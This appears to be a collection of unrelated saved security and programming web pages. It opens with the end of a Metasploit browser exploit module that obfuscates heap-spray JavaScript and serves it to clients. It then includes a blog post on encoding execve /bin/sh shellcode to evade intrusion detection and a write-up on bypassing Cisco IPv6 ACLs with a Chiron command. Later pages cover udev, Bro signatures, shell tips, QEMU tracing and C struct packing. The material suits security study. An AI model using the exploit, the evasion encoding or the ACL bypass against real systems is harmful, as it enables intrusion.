` ``document.body.innerHTML +=` `"AAAA"``;`  
---  
` ``document.body.innerHTML +=` `"<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='ltr'>TAG_11</strong>"``;`  
---  
` ``JS`  
---  
---  
` ``js = heaplib(js)`  
---  
` ``js = ::Rex::Exploitation::JSObfu.``new``(js)`  
---  
` ``js.obfuscate`  
---  
---  
` ``html = <<-``HTML`  
---  
` ``<html>`  
---  
` ``<body>`  
---  
` ``<script language=``'javascript'``>`  
---  
` ``#{js}`  
---  
` ``</script>`  
---  
` ``</body>`  
---  
` ``</html>`  
---  
` ``HTML`  
---  
---  
` ``print_status(``"Sending exploit for #{self.name} to
#{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})..."``)`  
---  
---  
` ``send_response(cli, html, {``'Content-Type'``=>``'text/html'``})`  
---  
` ``end`  
---  
`end`  
---

# I hack, therefore I am: Decoderless Shellcode Encoding

**Created:**| _6/28/2012 8:19:33 AM_  
---|---  
**Updated:**| _6/28/2012 8:19:33 AM_  
**Author:**| __  
**Tags:**| _shellcode encoding_  
  

### Decoderless Shellcode Encoding

Today, it's almost impossible to send an exploit payload over the wire without
triggering a Network Intrusion Prevention System \(IPS\) or Network Intrusion
Detection System \(NIDS\) on the way.  
The obvious solution is to encode the payload before sending it. A typical
encoder yields a new payload that contains both, the old payload encoded and a
decoder function to decode it.  
Now, the encoded payload is "free" of any malicious patterns so it won't
trigger any alarm, but what about the decoder? It becomes the weakest link and
the new trigger for alarm.  
  
Almost every encoding method requires a decoder to be embedded in the payload.
The tricky part is how to encode the decoder so it won't trigger any alarm?
And is it even possible?  
The short answer is Yes, there are some ways to do it, one of them is
instruction substitution. In other words, replacing an instruction with
semantically equivalent, but different instruction.  
But if instruction substitution is good enough for encoding decoders, is it
not good enough for encoding the payload itself? Yes, it is good enough to
encode the payload as well.  
By applying instruction substitution on a payload, the result is, an encoded
payload with no decoder in it. A decoderless encoded shellcode.  
  
Let's take the following shellcode \(execve "/bin/sh", 23 bytes\) as an input:

[code]

    .section .text
    .global _start
    _start:
        push $0xb
        popl %eax
        cdq
        push %edx
        push $0x68732f2f
        push $0x6e69622f
        mov %esp,%ebx
        push %edx
        push %ebx
        mov %esp, %ecx
        int $0x80
    
[/code]

The first instruction is:

[code]

    push $0xb
    
[/code]

The goal of this instruction is to store the byte 0xB in the stack. One way to
encode this instruction will be:

[code]

    push $0xc
    decb (%esp)
    
[/code]

This way, the value \(i.e. 0xB\) is no longer visible. Another way to encode
this instruction will be:

[code]

    sub $0x4, %esp
    movl $0xfffffff4, (%esp)
    notl (%esp)
    
[/code]

Here, the PUSH instruction is no longer visible. The reason I'm using
0xFFFFFFF4 \(i.e. -12, ~0xB\) and not 0xB is to avoid NULL bytes, but if NULL
is not a problem then:

[code]

    sub $0x4, %esp
    movl $0x0000000b, (%esp)
    
[/code]

Now, not only single instructions can be encoded. It's also possible to group
a few instructions together and encode it. For example:

[code]

    push $0xb
    popl %eax
    
[/code]

The goal of this instruction group is to store the value 0x0000000B in
register EAX. One way to encode it will be:

[code]

    movl $0xfffffff4, %eax
    xorl %eax, $0xfff31337
    
[/code]

This way, the value \(i.e. 0xB, or 0x0000000B\) is no longer visible. Another
way to encode this instruction group will be:

[code]

    pusha
    movl $0xfffffff4, 0x1c(%esp)
    notl 0x1c(%esp)
    popa
    
[/code]

Here, both, the referenced register \(i.e. EAX\) and the value \(i.e. 0xB, or
0x0000000B\) are not visible.  
The advantage of this approach is that it can be recursive, each output can be
used as input for another pass. For example:

[code]

    push $0xb
    
[/code]

Yields:

[code]

    push $0xc
    decb (%esp)
    
[/code]

That can yield:

[code]

    sub $0x4, %esp
    movl $0xfffffff3, (%esp)
    notl (%esp)
    decb (%esp)
    
[/code]

And so on.  
The disadvantage of this approach is that it's not size-oriented \(output
might be bigger than input\) and it will not work on all the instructions set
\(e.g. INT\).  
  
Several years ago I have developed and released a program in Python called
shcfuscator \(read: shellcode obfuscator\) to automate this very process.  
Shcfuscator takes an input assembly program in GAS syntax, substitutes popular
instructions, and outputs an assembly program in GAS syntax.  
Nothing much happened with it, and I didn't follow-up on it, until recently,
when I thought about it again and decided to write this post.  
  
So, if anybody is interested in porting it Metasploit as en encoder module,
please let me know - I'd be happy to help out\!  
  
Following this legacy project, I have decided to open a repository for other
legacy projects that I have developed in the early-mid 2000's  
  
The repository can be found at: https://github.com/ikotler/tty64  
  
I am not planning on maintain it, but nonetheless feel free free to fork.

# Fefes Blog

**Created:**| _4/21/2010 9:27:40 AM_  
---|---  
**Updated:**| _4/21/2010 9:27:48 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

  * \[l\] Ich kann euch gar nicht sagen, wie sehr mir diese ganzen nicht funktionierenden Automatismen auf den Sack gehen, die diese Linux- und Freedesktop-Marodeure da immer aushecken. Früher hatten wir ein /dev, das hat einfach funktioniert, aber das reichte nicht.
Dann brauchten wir ein devfs. Da hießen dann plötzlich alle Devices anders.
Klar, liegt ja auch nahe. Also haben wir alle Software anfassen müssen, die
mit Devices operiert.

Dann reichte das plötzlich nicht mehr, und wir brauchten udev. Da hießen dann
plötzlich wieder alle Devices anders. Klar, liegt ja auch nahe. Also haben wir
wieder alle Software anfassen müssen, die mit Devices operiert.

Das reichte dann plötzlich auch nicht mehr. Wir brauchten ein Layer darüber,
"hald", von den Freedesktop-Spacken. Das habe ich noch nie irgendwo
funktionieren sehen, es ist die Krätze auf Erden, ein unfassbarer Haufen
Scheiße, das geht gar nicht. Der Antichrist persönlich würde sich in Grausen
abwenden, wenn es ihn gäbe. Es ist so furchtbar, dass selbst seine Erfinder
sich jetzt davon abwenden. Das neue X 1.8 zieht jetzt seine Device-
Informationen nicht mehr aus hald, sondern aus udev. Das führt bei mir dazu,
dass er weder Maus noch Keyboard findet. Warum auch. Braucht man ja auch
nicht. Natürlich beendet sich X nicht, wenn er keine Devices findet, sondern
er bleibt hängen, so dass man die Kiste resetten muß, um es wieder zu beenden.
TOLLES ENGINEERING, ihr Spacken\!

Nach nur wenigen Stunden meiner Lebenszeit, die ich in diesen undebugbaren
Haufen Mist stecken mußte, habe ich folgende Lösung gefunden:

[code]    Section "ServerFlags"  
            Option "AutoAddDevice" "false"  
            Option "AllowEmptyInput" "false"  
    EndSection
    
[/code]

Ich neige ja an sich nicht zu Gewaltphantasien, aber diese Leute haben Ferien
in Abu Ghraib verdient.

Oh und von dbus fange ich gar nicht an, das setzt dem nochmal eine Krone auf.
Wieso erfinden die Leute alle Automatismen, die dann nicht automatisch
funktionieren, sondern umfängliche Konfigurationsarbeiten benötigen?\! Ich
erinnere mich mit Grausen daran, diese furchtbare Bluetooth-Grütze debuggen zu
müssen, die plötzlich dbus wollte. KOTZ\!

Ich will an der Stelle mal einen Freund zitieren:

> die freedesktop-leute spenden ja sonst ihre gesamte zeit damit, linux und
> x11 zu einem single-user-system zu machen. jetzt sind sie wohl noch einen
> schritt weiter beim zero-user-system
Das hat mich über die Jahre so viel Zeit gekostet und soviel Ärger gemacht,
dass es auf dem besten Weg ist, den Ärger aufzuwiegen, den ich in der Zeit mit
bei Windows bleiben gehabt hätte. Es ist eine Schande, dass wir es so weit
kommen lassen. Ich bin ja fast gewillt, das langsam als Zersetzungsstrategie
aufzufassen, zumal da ja auch die ganzen Distro-Versager mitpfuschen, die
offensichtlich alle das Geheimwissen als Firmengeheimnis behalten wollen, das
man braucht, um ihren Automatismus-Müll zum Funktionieren zu bewegen.

  

# EmergingBro < Main < TWiki

**Created:**| _5/12/2010 9:49:11 AM_  
---|---  
**Updated:**| _5/12/2010 9:49:30 AM_  
**Author:**| __  
**Tags:**| _report iDS/iPS Lab-Setup_  
  

## Emerging Bro Signatures

Bro is an Open Source IDS similar to Snort, but with a different philosophy.
Bro is not primarily intended to do byte-wise signature matching like Snort
does. Bro works much more at the application-analysis level, including forms
of analysis across multiple connections and hosts. It's a great tool, very
powerful and used in many of the largest networks around the world, especially
the gov't sector. It has a very powerful scripting language, but it is capable
of many of the detail-oriented matches Snort is famous for.

You can learn more about Bro here -- http://www.bro-ids.org .

Because of user interest we've started a signature conversion project to push
the most timely, critical, and important Snort-like signatures into a Bro
signature set. Many of our users have both systems running on different
networks to catch different types of events.

CS Lee has lead the creation of this effort and is it's primary creator. He
can be reached at bro@emergingthreats.net.

The signature conversion process has been to some degree automated in the
past, but for the time being all signatures are being converted by hand. This
reflects the idea that Bro doesn't need an exact replica of the entire running
Snort rulesets available. If you need that then you should run Snort. These
signatures are being converted to address immediate and timely issues without
overwhelming Bro with too many Snort-style signatures.

We are also publishing our RBN \(RussianBusinessNetwork\), CompromisedHost
IPs, SpamHausDROPList, ShadowServerCC, and DshieldTopAttackers rulesets in Bro
format.

A great writeup of the Bro concept and syntax is available here:

http://blog.icir.org/2008/06/bro-signature-engine.html

Bro Reference Manual: Signatures

* * *
Converted Rules are available at:

http://www.emergingthreats.net/bro/

And more detail under AllRulesets

A post from the Bro team is here: http://blog.icir.org/2008/06/emerging-bro-
project.html

\-- MattJonkman \- 26 Jun 2008

  

# Evasion of Cisco ACLs by \(Ab\)Using IPv6 – Part 2 - Insinuator

**Created:**| _7/13/2015 3:37:38 PM_  
---|---  
**Updated:**| _7/13/2015 3:37:38 PM_  
**Author:**| __  
**Tags:**| _cisco network-security_  
  

# Evasion of Cisco ACLs by \(Ab\)Using IPv6 – Part 2

1 Comment | Posted by _Enno Rey_
  * 2 Klicks für mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie können Ihre Empfehlung an Facebook senden. Schon beim Aktivieren werden Daten an Dritte übertragen - siehe _i_. nicht mit Facebook verbunden 
  * 2 Klicks für mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie können Ihre Empfehlung an Twitter senden. Schon beim Aktivieren werden Daten an Dritte übertragen - siehe _i_. nicht mit Twitter verbunden 
  * 2 Klicks für mehr Datenschutz: Erst wenn Sie hier klicken, wird der Button aktiv und Sie können Ihre Empfehlung an Google+ senden. Schon beim Aktivieren werden Daten an Dritte übertragen - siehe _i_. nicht mit Google+verbunden 
  * Wenn Sie diese Felder durch einen Klick aktivieren, werden Informationen an Facebook, Twitter, Flattr, Xing, t3n, LinkedIn, Pinterest oder Google eventuell ins Ausland übertragen und unter Umständen auch dort gespeichert. Näheres erfahren Sie durch einen Klick auf das _i_.

When we wrote our initial blogpost regarding the evasion of Cisco ACLs by
\(Ab\)Using IPv6, where we described \(known to Cisco\) cases of Access
Control Lists \(ACL\) circumvention, we also suggested some mitigation
techniques including the blocking of some \(if not all\) IPv6 Extension
Headers.  
Almost a month later, we got a comment from _Matej Gregr_ that, even if the
ACLs of certain Cisco Switches are configured to block IPv6 Extension headers
like Hop-by-Hop or Destination Options headers, this does not actually
happen/work as expected. Of course this made us re-visit the lab in the
interim ;-\).

To have a real-world setup, we decided to perform the tests against a high-end
switch, the Cisco 4948E, using a fairly recent image, that is  _Cisco IOS
Version 15.2\(3\)E, RELEASE SOFTWARE \(fc4\)._ We applied the ACL
configuration to the VLAN, to physical ports, as well as their combination.

We tested this ACL:

_deny hbh any any sequence 10  
__deny 60 any any sequence 20  
__deny 43 any any sequence 21  
__deny 44 any any sequence 22  
__deny tcp any any eq 22 sequence 28  
__permit ipv6 any any sequence 30_

As you can see, in the above ACL we configure to block the Hop-by-Hop header,
the Destination Options header, the Routing header, the Fragment header, as
well as TCP port 22 \(usually used for SSH…\).

For all tests we used _Chiron_ _, a tool that allows \(among else\) the
construction of completely arbitrary IPv6 header chains_.

In a nutshell, the results for all cases are the following:

  * Hop-by-Hop Headers are blocked in any case, as they should be \(the device responds with an ‘ _ICMPv6 Destination unreachable, Communication with destination administratively prohibited_ ‘ message\).
  * All the other IPv6 Extension headers which should be blocked according to the above ACL, including the Type-0 Routing header \(which should be deprecated as of RFC 5095 anyway\), are NOT blocked _as long as_ : 
    * the corresponding packet is not fragmented,
    * or if it is fragmented, the tested Extension header is included in the unfragmentable part of the fragment. When it is in the fragmentable part, the fragment is blocked.

Still, despite the above issues, we were not able to reach a prohibited port
\(SSH in our example\) exactly because the IPv6 Extension headers cannot be in
the fragmentable part of the packets.

Evidently, once we remove one of the Extension headers from the ACL \(e.g. the
Destination Options one\), we can reach the otherwise blocked port \(SSH in
our example\) by adding this allowed IPv6 Extension header to the chain and
fragmenting the packet \(so as the layer-4 header is moved to the second
fragment\). But, again, this is a known issue, isn’t it? For instance, let’s
use the following ACL:

_deny hbh any any sequence 10  
__deny 43 any any sequence 21  
__deny 44 any any sequence 22  
__deny tcp any any eq 22 sequence 28  
__permit ipv6 any any sequence 30_

In such a case, we can evade the ACL by “exploiting” the Destination Options
header in order to reach TCP port 22. To do so, in our tests we used the
Chiron proxy running the following command:

_./chiron\_proxy.py enp7s0 127.0.0.1 127.0.0.3 -d 2001:db8:c001:cafe::4 -luE
60 -lfE 60 -nf 2_

where 2001:db8:c001:cafe::4 was our target.

Detailed explanation about the above _Chiron_ command and how it works can be
found at the accompanied to _Chiron_ documentation. Briefly, in our example
Chiron accepts IPv4 connections to 127.0.0.3 \(localhost address\), extracts
the IPv4 header, adds an IPv6 one \(adding also two Extension Headers and
fragmenting it\) and sends the packet\(s\) to the IPv6 target, and vice versa.

Then, we performed an SSH connection to the target simply by:

_ssh root@127.0.0.3._

We also tested another, earlier release \(_Cisco IOS Software Version
15.2\(1\)E1, RELEASE SOFTWARE \(fc2\)_\). In this case the situation was even
worse, that means:

  1. The Hop-by-Hop header was not blocked.
  2. Prohibited \(by ACL\) Extension headers could also be included in the fragmentable part of the packets.

Now, as it was mentioned, the ACL evasion \(as well as the RA Guard and the
DHCPv6 evasions\) by adding an IPv6 Extension header and fragmenting the
packet so as the layer-4 header is not in the first fragment is a known issue.
To address it Cisco has introduced the “ _undetermined-transport_ ” keyword to
block traffic in case the layer-4 header is not in the first fragment and
hence cannot be determined. However, this feature is not available on all
devices/images. Still, since it is supported on the device used here, we also
applied it to our ACL:

_deny hbh any any sequence 10  
__deny 43 any any sequence 21  
__deny 44 any any sequence 22  
__deny tcp any any eq 22 sequence 28  
__deny ipv6 any any log-input undetermined-transport sequence 29  
__permit ipv6 any any sequence 30_

The result? Not only the denied traffic was blocked, but actually ALL the
traffic, including the legitimate one, was also blocked \(similar to what we
had observed here\). We could not even ping the switch itself \(which, before,
was reachable of course\). Is this a bug or did we miss something during the
configuration? Well, even if it is the second case, we wonder what tricks a
network admin should do in order to protect her network from IPv6 Extension
Header based evasion tricks.

**Summary**

Using fairly recent Cisco IOS releases on an enterprise device, only Hop-by-
Hop Extension headers are blocked effectively by the ACLs. Other Extension
headers are blocked only when they are included in the fragmentable part of
fragments; otherwise they pass unaffected despite “contradictory” ACLs. Still,
this apparent malfunction \(?\) cannot be exploited easily for reaching e.g.
TCP ports blocked by the ACL.

Moreover, using “undetermined-transport” as recommended by Cisco for defending
the network from such attacks does not always work as expected; it may block
legitimate traffic. So things can even get worse, from an operational
perspective.

We have some more results from the Cisco lab and we’ve started to perform
similar tests against HP devices. Stay tuned…

IPv6

# Command Line Kung Fu: Episode \#10 - Finding Names of Files Matching a
String

**Created:**| _5/16/2009 10:34:11 AM_  
---|---  
**Updated:**| _5/16/2009 10:34:15 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#10 - Finding Names of Files Matching a String

Hal Says:  
  
This is one of my favorite questions to ask job interviewees, so pay
attention\!  
  
Question: How would you list the names of all files under a given directory
that match a particular string? For example, list all files under /usr/include
that reference the sockaddr\_in structure.  
  
Most interviewees' first approximations look like this:  

[code]

    $ **find /usr/include -type f -exec grep sockaddr_in {} \;**
    
[/code]

  
The only problem is that this gives you the matching lines, but not the file
names. So part of the trick is either \(a\) asking me if it's OK to look at
the grep manual page or help text \(which is really the response I'm looking
for\), or \(b\) just happening to know that "grep -l" lists the file names and
not the matching lines:  

[code]

    $ **find /usr/include -type f -exec grep -l sockaddr_in {} \;**
    
[/code]

  
The folks who really interest me, however, are the ones who also strike up a
conversation about using xargs to be more efficient:  

[code]

    $ **find /usr/include -type f | xargs grep -l sockaddr_in**
    
[/code]

  
How much faster is the xargs approach? Let's use the shell's built-in
benchmarker and see:  

[code]

    $ **time find /usr/include -type f -exec grep -l sockaddr_in {} \; >/dev/null**  
      
     real 0m12.734s  
    user 0m2.097s  
    sys 0m10.713s  
    $ **time find /usr/include -type f | xargs grep -l sockaddr_in >/dev/null**  
      
     real 0m0.410s  
    user 0m0.108s  
    sys 0m0.344s
    
[/code]

  
You really, really want to use "find ... | xargs ..." instead of "find ... -exec ..."  
  
Paul Says:  
  
That's an awesome tip\! I immediately put this to good use when using
Metasploit. One of the requests we most often get from students when using
metasploit is a way to find the exploit for a particular vulnerability.
Metasploit has built in a search feature, but grep is far more powerful and
comprehensive. Since all of the modules and exploits within metasploit are
just Ruby files, you can use the method above to seek out functionality in
Metasploit:  
  
find ./modules/ -type f | xargs grep -li 'ms08\\\_\*' | grep -v ".svn"  
  
The above command will find all modules that contain references to "ms08",
indicating an exploit for a vulnerability released by Microsoft in 2008.  
  
Ed throws in his two cents:  
  
On Windows, we have two string search tools: find and findstr. The latter has
many more options \(including the ability to do regex\). We can use it to
answer Hal's interview question with the /m option to print only the file
name. Why /m? I guess because "Name" has an "m" in it, and /n was already
taken to tell findstr to print line numbers.  
  
So, the results is:  

[code]

    C:\> **findstr /d:[directory] /m [string] [files]**
    
[/code]

  
The \[files\] lets you specify what kind of files you want to look in, such as
\*.ini or \*.txt. To look in any kind of file, just specify a \*. Also, to
make it recurse the directory you specify, add the /s option.  
  
How about an example? Suppose you want to look in C:\windows and its
subdirectories for all files that contain the string "mp3". You could run:  
  

[code]

    C:\> **findstr /s /d:c:\windows /m mp3 ***
    
[/code]

Another useful feature of findstr is its ability to find files that contain
only printable ASCII characters using the /p flag. That is, any file with
unprintable, high-end ASCII sequences will be omitted from the output, letting
you focus on things like txt, inf, and related simple text files often
associated with configuration:  

[code]

    C:\> **findstr /s /p /d:c:\windows /m mp3 ***
    
[/code]

Be careful with the /p, however. You may be telling findstr to leave out a
file that is important to you simply because it has one high-end ASCII
sequence somewhere in the file.  
  
Also, thanks, Hal, for now making me lust after not only xargs, -exec, \`\`,
head, tail, awk, sed, and watch. Now, I really want a real "time" command in
Windows. And, no, I'm not talking about the goofy built-in Windows time
command that shows you the time of day. I'm talking about seeing how long it
took another command to run. Thank goodness for Cygwin\!

# Ruby For Hackers Ep1 Pt1 Getting Ready To Write Our Own Binary Diffing
Engine

**Created:**| _2/25/2011 9:43:43 AM_  
---|---  
**Updated:**| _2/25/2011 9:44:13 AM_  
**Author:**| __  
**Tags:**| _Debugging ruby reversing_  
  

#### Ruby For Hackers Ep1 Pt1 Getting Ready To Write Our Own Binary Diffing
Engine

|  
  
---|---  
**Description:**

In this video we go over a method for remotely starting Immunity Debugger from
a console with no GUI. We then go over a custom ImmDbg plug-in in Python which
opens a socket to a remote linux box. We send the functions and their basic
blocks that ImmDbg recognized. We also get the address data. We get this
socket and dump the file. I used this approach because I could not find the
immdbg API for sending output to the remote console. It also lets us use the
immunity dll loader and function/basic block recognition. If you wanted to use
this as a local script you would need to modify the socket statements and do
something with the data instead of just pushing it to the log. Immunity does
have some nice callgraphing libraries in the lib directory if you're looking
for them. My approach in further videos will be to diff in ruby, get the vcg
file from the debugger, and convert to dot files. I can use those more easily.
We may eventually get around to callgraph comparison and highlighting.  
  
In the ruby for hackers segments I plan to cover binary data manipulation, raw
and structured sockets, ssl sockets, transparent service proxying, and some
simple pure ruby services\(dns for example\) if there is enough interest. If
there are particular APIs that you want to see in use, let me know in the
comments. Thank you for watching and please do comment.  
  
A high resolution version of the video can be downloaded here.  
  
This video has been created by Andrew King \(aking1012\)\! SecurityTube would
like to thank him for such a wonderful contribution to the community.

# GroundPound/ManFuzzer

**Created:**| _6/8/2015 4:14:27 PM_  
---|---  
**Updated:**| _6/8/2015 4:14:27 PM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  

# GroundPound/ManFuzzer

Creates fuzzing inputs for command line programs using help options and man
pages.

# An Intermediate Representation for Integrating Reverse Engineering Analyses

**Created:**| _3/24/2010 10:09:44 AM_  
---|---  
**Updated:**| _3/24/2010 10:10:05 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research papers reversing_  
  
<img src='img/Temp2_552' />

# thenewsh: Simple instrumenation in Qemu

**Created:**| _9/25/2011 6:34:14 PM_  
---|---  
**Updated:**| _9/25/2011 6:34:14 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation awesome_  
  

### Simple instrumenation in Qemu

I recently had a desire to log the dynamic call statements executed by a
program. There are a lot of approaches that can be taken and I chose to
instrument Qemu in this instance. In this article I show how I added a very
simple tracing function to Qemu.  
  
Qemu is a free and open source system emulator. It works by performing dynamic
translation of the code it is running from the instruction set being execute
\(in my case i386\) to whatever instruction set your computer runs natively.
The translation is performed "Just In Time" on individual blocks of code
whenever new code is encountered that hasn't been translated yet. In this case
we're going to treat Qemu as if it was a computer with a customizable CPU --
one we could easily repurpose to perform something a real cpu doesn't normally
do. It turns out that customizing Qemu can be quite simple.  
  
Qemu already has a logging facility that can be used to show what code is
being translated, what intermediate operations are emitted, what target
instructions are emitted, what blocks are being executed, etc. You can use
these options from the command line by specifying "-D logfile -d
list,of,flags" or from the qemu console with the commands "logfile filename"
and "log list,of,flags". In the following figure you can see a list of the
flag options:  
  

<img src='img/Temp2_10670.png' />

  
Our first step is to add a new flag called "extras" which we will use to turn
on and off any new tracing features we add:  
  

<img src='img/Temp2_10669.png' />

  
Next we take a look at the current translation of dynamic calls and the code
that generates it, so we can figure out where to add our patch. This is as
simple as running with "-d in\_asm,op" and looking at the resulting log file:  
  

<img src='img/Temp2_10671.png' />

  
Here we see an instruction we're interested in at 0xf332d. The code is
translated into an intermediate format called TCG. This format is documented
in qemu/tcg/README. Here we see that the address of ebx \(which is a variable
representing the virtual EBX register\) is loaded into the tmp2 register and
then dereferenced to load it's value into tmp0. The remaining instructions
emulate pushing the program counter onto the stack before updating the new
program counter which is dereferenced off of the "env" variable. Below we see
the code in qemu/target-i386/translate.c that generated this code:  
  

<img src='img/Temp2_10673.png' />

  
You can find the details of the call instruction in the IA-32 Intel
Architecture Software Developer's Manual Volume 2: Instruction Set Reference.
The code right before the switch statement handles loading of the target
address into the temp0 register for several different variants of the opcode.
The code in the switch statement then generates the code that simulates the
stack push of the return address and the setting of the new program counter.  
  
What we would like to do is to call a logging function every time an indirect
call is executed. This function would log the current program counter and the
target address. This is fairly straightforward since the target address has
already been computed into the temp0 address. First we define a new helper
function in helper.h. This will define a "gen\_helper\_tracecall" function
which will generate a call to our helper. All that is left then is to call our
helper at the top of the switch statement with the target value from temp0 and
the current program counter, and define our helper function. The helper
function simply writes to the log if the "extras" logging flag has been set:  
  

<img src='img/Temp2_10672.png' />

  
Thats it\! Now if we run qemu with the "-D calls.txt -d extras" flags, we get
a log of all of the dynamic call targets in the "calls.txt" file. Or we could
run qemu, switch to the console and turn on tracing with "log extras" and turn
it off again with "log none".  
  
So that was pretty simple and it runs fairly quickly. This is a really
powerful technique and we can get a lot of mileage out of it, but it would be
good to have more control. There are a lot of things we can do going forward
to make this more powerful. One thing that comes to mind is adding \(operating
system specific\) hooks that track what process or thread is currently running
to allow filtering of events by process and thread. It would also be useful to
keep an internal log of unique targets and only emit targets that haven't yet
been logged.

# The Lost Art of C Structure Packing

**Created:**| _1/3/2014 10:18:37 AM_  
---|---  
**Updated:**| _1/3/2014 10:18:37 AM_  
**Author:**| __  
**Tags:**| _C programming data-structs_  
  

# **T** he Lost Art of C Structure Packing****

### Eric S. Raymond****

`<esr@thyrsus.com >`

* * *
## 1**.** Who should read this****

This page is about a technique for reducing the memory footprint of C programs
- manually repacking C structure declarations for reduced size**.** To read
it, you will require basic knowledge of the C programming language**.**

You need to know this technique if you intend to write code for memory-
constrained embedded systems, or operating-system kernels**.** It is useful if
you are working with application data sets so large that your programs
routinely hit memory limits**.** It is good to know in any application where
you really, _really_ care about minimizing cache-line missses**.**

Finally, knowing this technique is a gateway to other esoteric C topics**.**
You are not an advanced C programmer until you have grasped it**.** You are
not a master of C until you could have written this document yourself and can
criticize it intelligently**.**

## 2**.** Why I wrote it****

This webpage exists because in late 2013 I found myself heavily applying a C
optimization technique that I had learned more than two decades previously and
not used much since**.**

I needed to reduce the memory footprint of a program that used thousands -
sometimes hundreds of thousands - of C struct instances**.** The program was
cvs-fast-export  and the problem was that it was dying with out-of-memory
errors on large repositories**.**

There are ways to reduce memory usage significantly in situations like this,
by rearranging the order of structure members in careful ways**.** This can
lead to dramatic gains - in my case I was able to cut the working-set size by
around 40%, enabling the program to handle much larger repositories without
dying**.**

But as I worked, and thought about what I was doing, it began to dawn on me
that the technique I was using has been more than half forgotten in these
latter days**.** A little web research confirmed that C programmers don’t seem
to talk about much it any more, at least not where a search engine can see
them**.** A couple of Wikipedia entries touch the topic, but I found nobody
who covered it comprehensively**.**

There are actually reasons for this that aren’t stupid**.** CS courses
\(rightly\) steer people away from micro-optimization towards finding better
algorithms. The plunging price of machine resources has made squeezing memory
usage less necessary**.** And the way hackers used to learn how to do it back
in the day was by bumping their noses on strange hardware architectures - a
less common experience now**.**

But the technique still has value in important situations, and will as long as
memory is finite**.** This document is intended to save C programmers from
having to rediscover the technique, so they can concentrate effort on more
important things**.**

## 3**.** Alignment requirements****

The first thing to understand is that, on modern processors, the way your C
compiler lays out basic C datatypes in memory is constrained in order to make
memory accesses faster**.**

Storage for the basic C datatypes on an x86 or ARM processor doesn’t normally
start at arbitrary byte addresses in memory**.** Rather, each type except char
has an _alignment requirement_ ; chars can start on any byte address, but
2-byte shorts must start on an even address, 4-byte ints or floats must start
on an address divisible by 4, and 8-byte longs or doubles must start on an
address divisible by 8**.** Signed or unsigned makes no difference**.**

The jargon for this is that basic C types on x86 and ARM are _self-
aligned_**.** Pointers, whether 32-bit \(4-byte\) or 64-bit \(8-byte\) are
self-aligned too**.**

Self-alignment makes access faster because it facilitates generating single-
instruction fetches and puts of the typed data**.** Without alignment
constraints, on the other hand, the code might end up having to do two or more
accesses spanning machine-word boundaries**.** Characters are a special case;
they’re equally expensive from anywhere they live inside a single machine
word**.** That’s why they don’t have a preferred alignment**.**

I said "on modern processors" because on some older ones forcing your C
program to violate alignment rules \(say, by casting an odd address into an
int pointer and trying to use it\) didn’t just slow your code down, it caused
an illegal instruction fault**.** This was the behavior, for example, on Sun
SPARC chips**.** In fact, with sufficient determination and the right \(e18\)
hardware flag set on the processor, you can still trigger this on x86**.**

Also, self-alignment is not the only possible rule**.** Historically, some
processors \(especially those lacking barrel shifters \) have had more
restrictive ones**.** If you do embedded systems, you might trip over one of
these lurking in the underbrush**.** Be aware this is possible.

Sometimes you can coerce your compiler into not using the processor’s normal
alignment rules by using a pragma, usually `#pragma pack`**.** Do not do this
casually, as it forces the generation of more expensive and slower code**.**
Usually you can save as much memory, or almost as much, with the techniques I
describe here**.**

The only good reason for `#pragma pack` is if you have to exactly match your C
data layout to some kind of bit-level hardware or protocol requirement, like a
memory-mapped hardware port, and violating normal alignment is required for
that to work**.** If you’re in that situation, and you don’t already know
everything else I’m writing about here, you’re in deep trouble and I wish you
luck**.**

## 4\. Padding****

Now we’ll look at a simple example of variable layout in memory**.** Consider
the following series of variable declarations in the top level of a C module:

[code]

    char *p;
    char c;
    int x;
[/code]

If you didn’t know anything about data alignment, you might assume that these
three variables would occupy a continuous span of bytes in memory**.** That
is, on a 32-bit machine 4 bytes of pointer would be immediately followed by 1
byte of char and that immediately followed by 4 bytes of int**.** And a 64-bit
machine would be different only in that the pointer would be 8 bytes**.**

Here’s what actually happens \(on an x86 or ARM or anything else with self-
aligned types\)**.** The storage for `p` starts on a self-aligned 4- or 8-byte
boundary depending on the machine word size**.** This is _pointer alignment_
\- the strictest possible**.**

The storage for `c` follows immediately**.** But the 4-byte alignment
requirement of `x` forces a gap in the layout; it comes out as though there
were a fourth intervening variable, like this:

[code]

    char *p;      /* 4 or 8 bytes */
    char c;       /* 1 byte */
    char pad[3];  /* 3 bytes */
    int x;        /* 4 bytes */
[/code]

The `pad[3]` character array represents the fact that there are three bytes of
waste space in the structure**.** The old-school term for this was "slop".

Compare what happens if `x` is a 2-byte short:

[code]

    char *p;
    char c;
    short x;
[/code]

In that case, the actual layout will be this:

[code]

    char *p;      /* 4 or 8 bytes */
    char c;       /* 1 byte */
    char pad[1];  /* 1 byte */
    short x;      /* 2 bytes */
[/code]

On the other hand, if `x` is a long on a 64-bit machine

[code]

    char *p;
    char c;
    long x;
[/code]

we end up with this:

[code]

    char *p;     /* 8 bytes */
    char c;      /* 1 byte
    char pad[7]; /* 7 bytes */
    long x;      /* 8 bytes */
[/code]

If you have been following carefully, you are probably now wondering about the
case where the shorter variable declaration comes first:

[code]

    char c;
    char *p;
    int x;
[/code]

If the actual memory layout were written like this

[code]

    char c;
    char pad1[M];
    char *p;
    char pad2[N];
    int x;
[/code]

what can we say about `M` and `N`**?**

First, in this case `N` will be zero**.** The address of `x`, coming right
after `p`, is guaranteed to be pointer-aligned, which is never less strict
than int-aligned**.**

The value of `M` is less predictable**.** If the compiler happened to map `c`
to the last byte of a machine word, the next byte \(the first of `p`\) would
be the first byte of the next one and properly pointer-aligned**.** M would be
zero.

It is more likely that `c` will be mapped to the _first_ byte of a machine
word**.** In that case M will be whatever padding is needed to ensure that `p`
has pointer alignment - 3 on a 32-bit machine, 7 on a 64-bit machine**.**

Intermediate cases are possible**.** M can be anything from 0 to 7 \(0 to 3 on
32-bit\) because a char can start on any byte boundary in a machine word**.**

If you wanted to make those variables take up less space, you could get that
effect by swapping `x` with `c` in the original sequence**.**

[code]

    char *p;     /* 8 bytes */
